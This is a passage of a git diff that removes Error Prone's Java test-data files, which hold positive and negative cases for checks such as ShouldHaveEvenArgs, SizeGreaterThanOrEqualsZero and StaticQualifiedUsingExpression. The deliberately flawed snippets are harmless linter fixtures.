"there"); - } - - public void testWithVarargs(Object... args) { - assertThat(multimap).containsExactly("hello", args); - assertThat(multimap).containsExactly("hello", "world", args); - } - - public void testWithArray() { - String[] arg = {"hello", "there"}; - assertThat(multimap).containsExactly("yolo", arg); - - String key = "hello"; - Object[] value = new Object[] {}; - Object[][] args = new Object[][] {}; - - assertThat(multimap).containsExactly(key, value); - assertThat(multimap).containsExactly(key, value, (Object[]) args); - assertThat(multimap).containsExactly(key, value, key, value, key, value); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsMultimapPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsMultimapPositiveCases.java deleted file mode 100644 index e6289935b29..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsMultimapPositiveCases.java +++ /dev/null @@ -1,65 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; - -import com.google.common.collect.ImmutableMultimap; -import com.google.common.collect.Multimap; -import com.google.common.truth.Correspondence; - -/** - * Positive test cases for {@link ShouldHaveEvenArgs} check. - * - * @author monnoroch@google.com (Max Strakhov) - */ -public class ShouldHaveEvenArgsMultimapPositiveCases { - - private static final Multimap multimap = ImmutableMultimap.of(); - - public void testWithOddArgs() { - // BUG: Diagnostic contains: even number of arguments - assertThat(multimap).containsExactly("hello", "there", "rest"); - - // BUG: Diagnostic contains: even number of arguments - assertThat(multimap).containsExactly("hello", "there", "hello", "there", "rest"); - - // BUG: Diagnostic contains: even number of arguments - assertThat(multimap).containsExactly(null, null, null, null, new Object[] {}); - } - - public void testWithArrayArgs() { - String key = "hello"; - Object[] value = new Object[] {}; - Object[][] args = new Object[][] {}; - - // BUG: Diagnostic contains: even number of arguments - assertThat(multimap).containsExactly(key, value, (Object) args); - } - - public void testWithOddArgsWithCorrespondence() { - assertThat(multimap) - .comparingValuesUsing(Correspondence.from((a, b) -> true, "dummy")) - // BUG: Diagnostic contains: even number of arguments - .containsExactly("hello", "there", "rest"); - - assertThat(multimap) - .comparingValuesUsing(Correspondence.from((a, b) -> true, "dummy")) - // BUG: Diagnostic contains: even number of arguments - .containsExactly("hello", "there", "hello", "there", "rest"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsNegativeCases.java deleted file mode 100644 index 3137e9534b5..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsNegativeCases.java +++ /dev/null @@ -1,62 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; - -import java.util.HashMap; -import java.util.Map; - -/** - * Negative test cases for {@link ShouldHaveEvenArgs} check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class ShouldHaveEvenArgsNegativeCases { - - private static final Map map = new HashMap(); - - public void testWithNoArgs() { - assertThat(map).containsExactly(); - } - - public void testWithMinimalArgs() { - assertThat(map).containsExactly("hello", "there"); - } - - public void testWithEvenArgs() { - assertThat(map).containsExactly("hello", "there", "hello", "there"); - } - - public void testWithVarargs(Object... args) { - assertThat(map).containsExactly("hello", args); - assertThat(map).containsExactly("hello", "world", args); - } - - public void testWithArray() { - String[] arg = {"hello", "there"}; - assertThat(map).containsExactly("yolo", arg); - - String key = "hello"; - Object[] value = new Object[] {}; - Object[][] args = new Object[][] {}; - - assertThat(map).containsExactly(key, value); - assertThat(map).containsExactly(key, value, (Object[]) args); - assertThat(map).containsExactly(key, value, key, value, key, value); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsPositiveCases.java deleted file mode 100644 index 514078cce4a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsPositiveCases.java +++ /dev/null @@ -1,65 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; - -import com.google.common.truth.Correspondence; -import java.util.HashMap; -import java.util.Map; - -/** - * Positive test cases for {@link ShouldHaveEvenArgs} check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class ShouldHaveEvenArgsPositiveCases { - - private static final Map map = new HashMap(); - - public void testWithOddArgs() { - // BUG: Diagnostic contains: even number of arguments - assertThat(map).containsExactly("hello", "there", "rest"); - - // BUG: Diagnostic contains: even number of arguments - assertThat(map).containsExactly("hello", "there", "hello", "there", "rest"); - - // BUG: Diagnostic contains: even number of arguments - assertThat(map).containsExactly(null, null, null, null, new Object[] {}); - } - - public void testWithArrayArgs() { - String key = "hello"; - Object[] value = new Object[] {}; - Object[][] args = new Object[][] {}; - - // BUG: Diagnostic contains: even number of arguments - assertThat(map).containsExactly(key, value, (Object) args); - } - - public void testWithOddArgsWithCorrespondence() { - assertThat(map) - .comparingValuesUsing(Correspondence.from((a, b) -> true, "dummy")) - // BUG: Diagnostic contains: even number of arguments - .containsExactly("hello", "there", "rest"); - - assertThat(map) - .comparingValuesUsing(Correspondence.from((a, b) -> true, "dummy")) - // BUG: Diagnostic contains: even number of arguments - .containsExactly("hello", "there", "hello", "there", "rest"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SizeGreaterThanOrEqualsZeroNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SizeGreaterThanOrEqualsZeroNegativeCases.java deleted file mode 100644 index 17b9fe83979..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SizeGreaterThanOrEqualsZeroNegativeCases.java +++ /dev/null @@ -1,99 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage; -import java.util.ArrayList; -import java.util.Collection; -import java.util.HashSet; -import java.util.List; -import java.util.Set; - -/** - * @author glorioso@google.com (Nick Glorioso) - */ -public class SizeGreaterThanOrEqualsZeroNegativeCases { - private List intList = new ArrayList<>(); - private Set intSet = new HashSet<>(); - private Collection intCollection = intList; - - public boolean testEquality() { - boolean foo; - foo = intList.size() > 0; - foo = intSet.size() >= 1; - foo = intCollection.size() <= 0; - foo = intCollection.size() == 0; - foo = intCollection.size() < 0; - - if (new ArrayList().size() > 0) {} - - CollectionContainer baz = new CollectionContainer(); - if (baz.intList.size() >= 1) {} - if (baz.getIntList().size() >= 1) {} - - // These are incorrect comparisons, but we've chosen to not attempt to find these issues - foo = (((((new HasASizeMethod()))))).size() >= 0; - foo = new HasASizeMethod().length >= 0; - - return foo; - } - - private static int[] staticIntArray; - private int[] intArray; - private boolean[][] twoDarray; - - public boolean arrayLength() { - int zero = 0; - - boolean foo = intArray.length > 0; - foo = twoDarray.length >= 1; - foo = staticIntArray.length >= -1; - foo = twoDarray[0].length > 0; - foo = (((((twoDarray))))).length > zero; - - return foo; - } - - public void protoCount(TestProtoMessage msg) { - int zero = 0; - boolean foo; - foo = msg.getMultiFieldCount() > 0; - foo = 0 < msg.getMultiFieldCount(); - foo = 0 > msg.getMultiFieldCount(); - foo = msg.getMultiFieldCount() >= 1; - foo = msg.getMultiFieldCount() >= -1; - foo = msg.getMultiFieldCount() < 0; - foo = (((((msg))))).getMultiFieldCount() > zero; - foo = msg.getTestFieldNamedCount() >= 0; // Not a repeated field, just name ending in `count` - } - - private static class CollectionContainer { - List intList; - - List getIntList() { - return intList; - } - } - - private static class HasASizeMethod { - public int length = 0; - - public int size() { - return length; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SizeGreaterThanOrEqualsZeroPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SizeGreaterThanOrEqualsZeroPositiveCases.java deleted file mode 100644 index 6323bccd0e6..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SizeGreaterThanOrEqualsZeroPositiveCases.java +++ /dev/null @@ -1,155 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.collect.Iterables; -import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage; -import java.util.ArrayList; -import java.util.Collection; -import java.util.HashMap; -import java.util.HashSet; -import java.util.List; -import java.util.Map; -import java.util.Optional; -import java.util.Set; - -/** - * @author glorioso@google.com (Nick Glorioso) - */ -public class SizeGreaterThanOrEqualsZeroPositiveCases { - private List intList = new ArrayList<>(); - private Set intSet = new HashSet<>(); - private Map intMap = new HashMap<>(); - private Collection intCollection = intList; - - public boolean collectionSize() { - - // BUG: Diagnostic contains: !intList.isEmpty() - boolean foo = intList.size() >= 0; - - // BUG: Diagnostic contains: !intSet.isEmpty() - foo = intSet.size() >= 0; - - // BUG: Diagnostic contains: !intSet.isEmpty() - foo = 0 <= intSet.size(); - - // BUG: Diagnostic contains: !intMap.isEmpty() - foo = intMap.size() >= 0; - - // BUG: Diagnostic contains: !intCollection.isEmpty() - foo = intCollection.size() >= 0; - - // Yes, that works as java code - // BUG: Diagnostic contains: !new ArrayList().isEmpty() - if (new ArrayList().size() >= 0) {} - - CollectionContainer baz = new CollectionContainer(); - - // BUG: Diagnostic contains: !baz.intList.isEmpty() - if (baz.intList.size() >= 0) {} - - // BUG: Diagnostic contains: !baz.getIntList().isEmpty() - if (baz.getIntList().size() >= 0) {} - - // BUG: Diagnostic contains: !Iterables.isEmpty(baz.getIntList()) - foo = Iterables.size(baz.getIntList()) >= 0; - - return foo; - } - - public void stringLength() { - String myString = "foo"; - CharSequence charSequence = myString; - StringBuffer stringBuffer = new StringBuffer(myString); - StringBuilder stringBuilder = new StringBuilder(myString); - boolean foo = false; - - // BUG: Diagnostic contains: !myString.isEmpty() - foo = myString.length() >= 0; - - // BUG: Diagnostic contains: !"My String Literal".isEmpty() - foo = "My String Literal".length() >= 0; - - // BUG: Diagnostic contains: !myString.trim().substring(0).isEmpty(); - foo = myString.trim().substring(0).length() >= 0; - - // BUG: Diagnostic contains: charSequence.length() > 0 - foo = charSequence.length() >= 0; - - // BUG: Diagnostic contains: stringBuffer.length() > 0 - foo = stringBuffer.length() >= 0; - - // BUG: Diagnostic contains: 0 < stringBuffer.length() - foo = 0 <= stringBuffer.length(); - - // BUG: Diagnostic contains: stringBuilder.length() > 0 - foo = stringBuilder.length() >= 0; - } - - private static int[] staticIntArray; - private int[] intArray; - private boolean[][] twoDarray; - - public boolean arrayLength() { - - // BUG: Diagnostic contains: intArray.length > 0 - boolean foo = intArray.length >= 0; - - // BUG: Diagnostic contains: twoDarray.length > 0 - foo = twoDarray.length >= 0; - - // BUG: Diagnostic contains: staticIntArray.length > 0 - foo = staticIntArray.length >= 0; - - // BUG: Diagnostic contains: twoDarray[0].length > 0 - foo = twoDarray[0].length >= 0; - - // BUG: Diagnostic contains: 0 < twoDarray[0].length - foo = 0 <= twoDarray[0].length; - - // BUG: Diagnostic contains: (((((twoDarray))))).length > 0 - foo = (((((twoDarray))))).length >= 0; - - return foo; - } - - public void protoCount(TestProtoMessage msg) { - boolean foo; - // BUG: Diagnostic contains: foo = !msg.getMultiFieldList().isEmpty(); - foo = msg.getMultiFieldCount() >= 0; - // BUG: Diagnostic contains: foo = !msg.getMultiFieldList().isEmpty(); - foo = 0 <= msg.getMultiFieldCount(); - // BUG: Diagnostic contains: foo = !(((((msg))))).getMultiFieldList().isEmpty(); - foo = (((((msg))))).getMultiFieldCount() >= 0; - // BUG: Diagnostic contains: if (!this.getMsg(msg).get().getMultiFieldList().isEmpty()) { - if (this.getMsg(msg).get().getMultiFieldCount() >= 0) { - foo = true; - } - } - - private Optional getMsg(TestProtoMessage msg) { - return Optional.of(msg); - } - - private static class CollectionContainer { - List intList; - - List getIntList() { - return intList; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StaticQualifiedUsingExpressionNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StaticQualifiedUsingExpressionNegativeCases.java deleted file mode 100644 index dc12f66f9f2..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StaticQualifiedUsingExpressionNegativeCases.java +++ /dev/null @@ -1,58 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class StaticQualifiedUsingExpressionNegativeCases { - - public static int staticVar1 = 1; - - public static void staticTestMethod() {} - - public void test1() { - Integer i = Integer.MAX_VALUE; - i = Integer.valueOf(10); - } - - public void test2() { - int i = staticVar1; - i = StaticQualifiedUsingExpressionNegativeCases.staticVar1; - } - - public void test3() { - test1(); - this.test1(); - new StaticQualifiedUsingExpressionNegativeCases().test1(); - staticTestMethod(); - } - - public void test4() { - Class klass = String[].class; - } - - @SuppressWarnings("static") - public void testJavacAltname() { - this.staticTestMethod(); - } - - @SuppressWarnings("static-access") - public void testEclipseAltname() { - this.staticTestMethod(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StaticQualifiedUsingExpressionPositiveCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StaticQualifiedUsingExpressionPositiveCase1.java deleted file mode 100644 index e6e3f80517f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StaticQualifiedUsingExpressionPositiveCase1.java +++ /dev/null @@ -1,177 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.math.BigDecimal; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -class MyClass { - - static int STATIC_FIELD = 42; - - static int staticMethod() { - return 42; - } - - int FIELD = 42; - - int method() { - return 42; - } - - static class StaticInnerClass { - static final MyClass myClass = new MyClass(); - } -} - -class MyStaticClass { - static MyClass myClass = new MyClass(); -} - -public class StaticQualifiedUsingExpressionPositiveCase1 { - - public static int staticVar1 = 1; - private StaticQualifiedUsingExpressionPositiveCase1 next; - - public static int staticTestMethod() { - return 1; - } - - public static Object staticTestMethod2() { - return new Object(); - } - - public static Object staticTestMethod3(Object x) { - return null; - } - - public void test1() { - StaticQualifiedUsingExpressionPositiveCase1 testObj = - new StaticQualifiedUsingExpressionPositiveCase1(); - int i; - - // BUG: Diagnostic contains: variable staticVar1 - // i = staticVar1 - i = this.staticVar1; - // BUG: Diagnostic contains: variable staticVar1 - // i = staticVar1 - i = testObj.staticVar1; - // BUG: Diagnostic contains: variable staticVar1 - // i = staticVar1 - i = testObj.next.next.next.staticVar1; - } - - public void test2() { - int i; - Integer integer = Integer.valueOf(1); - // BUG: Diagnostic contains: variable MAX_VALUE - // i = Integer.MAX_VALUE - i = integer.MAX_VALUE; - } - - public void test3() { - String s1 = new String(); - // BUG: Diagnostic contains: method valueOf - // String s2 = String.valueOf(10) - String s2 = s1.valueOf(10); - // BUG: Diagnostic contains: method valueOf - // s2 = String.valueOf(10) - s2 = new String().valueOf(10); - // BUG: Diagnostic contains: method staticTestMethod - // int i = staticTestMethod() - int i = this.staticTestMethod(); - // BUG: Diagnostic contains: method staticTestMethod2 - // String s3 = staticTestMethod2().toString - String s3 = this.staticTestMethod2().toString(); - // BUG: Diagnostic contains: method staticTestMethod - // i = staticTestMethod() - i = this.next.next.next.staticTestMethod(); - } - - public void test4() { - BigDecimal decimal = new BigDecimal(1); - // BUG: Diagnostic contains: method valueOf - // BigDecimal decimal2 = BigDecimal.valueOf(1) - BigDecimal decimal2 = decimal.valueOf(1); - } - - public static MyClass hiding; - - public void test5(MyClass hiding) { - // BUG: Diagnostic contains: method staticTestMethod3 - // Object o = staticTestMethod3(this.toString()) - Object o = this.staticTestMethod3(this.toString()); - // BUG: Diagnostic contains: variable myClass - // x = MyClass.StaticInnerClass.myClass.FIELD; - int x = new MyClass.StaticInnerClass().myClass.FIELD; - // BUG: Diagnostic contains: variable STATIC_FIELD - // x = MyClass.STATIC_FIELD; - x = new MyClass.StaticInnerClass().myClass.STATIC_FIELD; - // BUG: Diagnostic contains: variable hiding - // StaticQualifiedUsingExpressionPositiveCase1.hiding = hiding; - this.hiding = hiding; - // BUG: Diagnostic contains: variable STATIC_FIELD - // x = MyClass.STATIC_FIELD; - x = MyStaticClass.myClass.STATIC_FIELD; - // BUG: Diagnostic contains: method staticMethod - // x = MyClass.staticMethod(); - x = MyStaticClass.myClass.staticMethod(); - - x = MyStaticClass.myClass.FIELD; - x = MyStaticClass.myClass.method(); - } - - static class Bar { - static int baz = 0; - - static int baz() { - return 42; - } - } - - static class Foo { - static Bar bar; - } - - static void test6() { - Foo foo = new Foo(); - // BUG: Diagnostic contains: method baz - // x = Bar.baz(); - int x = Foo.bar.baz(); - Bar bar = Foo.bar; - // BUG: Diagnostic contains: variable bar - // bar = Foo.bar; - bar = foo.bar; - // BUG: Diagnostic contains: variable baz - // x = Bar.baz; - x = Foo.bar.baz; - } - - static class C { - static int foo() { - return 42; - } - } - - public void test7() { - // BUG: Diagnostic contains: method foo - // x = C.foo(); - int x = new C().foo(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StaticQualifiedUsingExpressionPositiveCase2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StaticQualifiedUsingExpressionPositiveCase2.java deleted file mode 100644 index 9ad06b2e82c..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StaticQualifiedUsingExpressionPositiveCase2.java +++ /dev/null @@ -1,35 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class StaticQualifiedUsingExpressionPositiveCase2 { - - private static class TestClass { - public static int staticTestMethod() { - return 1; - } - } - - public int test1() { - // BUG: Diagnostic contains: method staticTestMethod - // return TestClass.staticTestMethod() - return new TestClass().staticTestMethod(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringBuilderInitWithCharNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringBuilderInitWithCharNegativeCases.java deleted file mode 100644 index b832051d3bc..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringBuilderInitWithCharNegativeCases.java +++ /dev/null @@ -1,28 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author lowasser@google.com (Louis Wasserman) - */ -public class StringBuilderInitWithCharNegativeCases { - { - new StringBuilder("a"); - new StringBuilder(5); - new StringBuilder(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringBuilderInitWithCharPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringBuilderInitWithCharPositiveCases.java deleted file mode 100644 index 3d3827ef8f0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringBuilderInitWithCharPositiveCases.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author lowasser@google.com (Louis Wasserman) - */ -public class StringBuilderInitWithCharPositiveCases { - { - // BUG: Diagnostic contains: new StringBuilder("a") - new StringBuilder('a'); - // BUG: Diagnostic contains: new StringBuilder("\"") - new StringBuilder('"'); - char c = 'c'; - // BUG: Diagnostic contains: new StringBuilder().append(c) - new StringBuilder(c); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringSplitterNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringSplitterNegativeCases.java deleted file mode 100644 index de59d21a0bc..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringSplitterNegativeCases.java +++ /dev/null @@ -1,34 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * Negative test cases for StringSplitter check. - * - * @author dturner@twosigma.com (David Turner) - */ -public class StringSplitterNegativeCases { - public void StringSplitTwoArgs() { - String foo = "a:b"; - foo.split(":", 1); - } - - public void StringSplitTwoArgsOneNegative() { - String foo = "a:b"; - foo.split(":", -1); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringSplitterPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringSplitterPositiveCases.java deleted file mode 100644 index bbfd5435955..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringSplitterPositiveCases.java +++ /dev/null @@ -1,31 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * Positive test cases for StringSplitter check. - * - * @author dturner@twosigma.com (David Turner) - */ -public class StringSplitterPositiveCases { - - public void StringSplitOneArg() { - String foo = "a:b"; - // BUG: Diagnostic contains: - String[] xs = foo.split(":"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SuppressWarningsDeprecatedNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SuppressWarningsDeprecatedNegativeCases.java deleted file mode 100644 index f45fc94fd7b..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SuppressWarningsDeprecatedNegativeCases.java +++ /dev/null @@ -1,52 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * Negative cases for {@link SuppressWarningsDeprecated}. - * - * @author sjnickerson@google.com (Simon Nickerson) - */ -public class SuppressWarningsDeprecatedNegativeCases { - @SuppressWarnings({"deprecation"}) - public static void negativeCase1() {} - - @SuppressWarnings("deprecation") - public static void negativeCase2() {} - - public static void negativeCase3() { - @SuppressWarnings({"deprecation"}) - int a = 3; - } - - public static void negativeCase4() { - @SuppressWarnings("deprecation") - int a = 3; - } - - public static void negativeCase5() { - @SuppressWarnings({"deprecation"}) - class Foo {} - Foo a = null; - } - - public static void negativeCase6() { - @SuppressWarnings("deprecation") - class Bar {} - Bar b = null; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SuppressWarningsDeprecatedPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SuppressWarningsDeprecatedPositiveCases.java deleted file mode 100644 index ab56d12fd75..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SuppressWarningsDeprecatedPositiveCases.java +++ /dev/null @@ -1,70 +0,0 @@ -package com.google.errorprone.bugpatterns.testdata; -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -/** - * Positive cases for {@link SuppressWarningsDeprecated}. - * - * @author sjnickerson@google.com (Simon Nickerson) - */ -public class SuppressWarningsDeprecatedPositiveCases { - - // BUG: Diagnostic contains: @SuppressWarnings("deprecation") - @SuppressWarnings("deprecated") - public static void positiveCase1() {} - - // BUG: Diagnostic contains: @SuppressWarnings("deprecation") - @SuppressWarnings({"deprecated"}) - public static void positiveCase2() {} - - // BUG: Diagnostic contains: @SuppressWarnings({"deprecation", "foobarbaz"}) - @SuppressWarnings({"deprecated", "foobarbaz"}) - public static void positiveCase3() {} - - public static void positiveCase4() { - // BUG: Diagnostic contains: @SuppressWarnings({"deprecation", "foobarbaz"}) - @SuppressWarnings({"deprecated", "foobarbaz"}) - int a = 3; - } - - public static void positiveCase5() { - // BUG: Diagnostic contains: @SuppressWarnings("deprecation") - @SuppressWarnings("deprecated") - int a = 3; - } - - public static void positiveCase6() { - // BUG: Diagnostic contains: @SuppressWarnings("deprecation") - @SuppressWarnings("deprecated") - class Foo {} - ; - } - - public static void positiveCase7() { - // BUG: Diagnostic contains: @SuppressWarnings({"deprecation", "foobarbaz"}) - @SuppressWarnings({"deprecated", "foobarbaz"}) - class Foo {} - ; - } - - // BUG: Diagnostic contains: 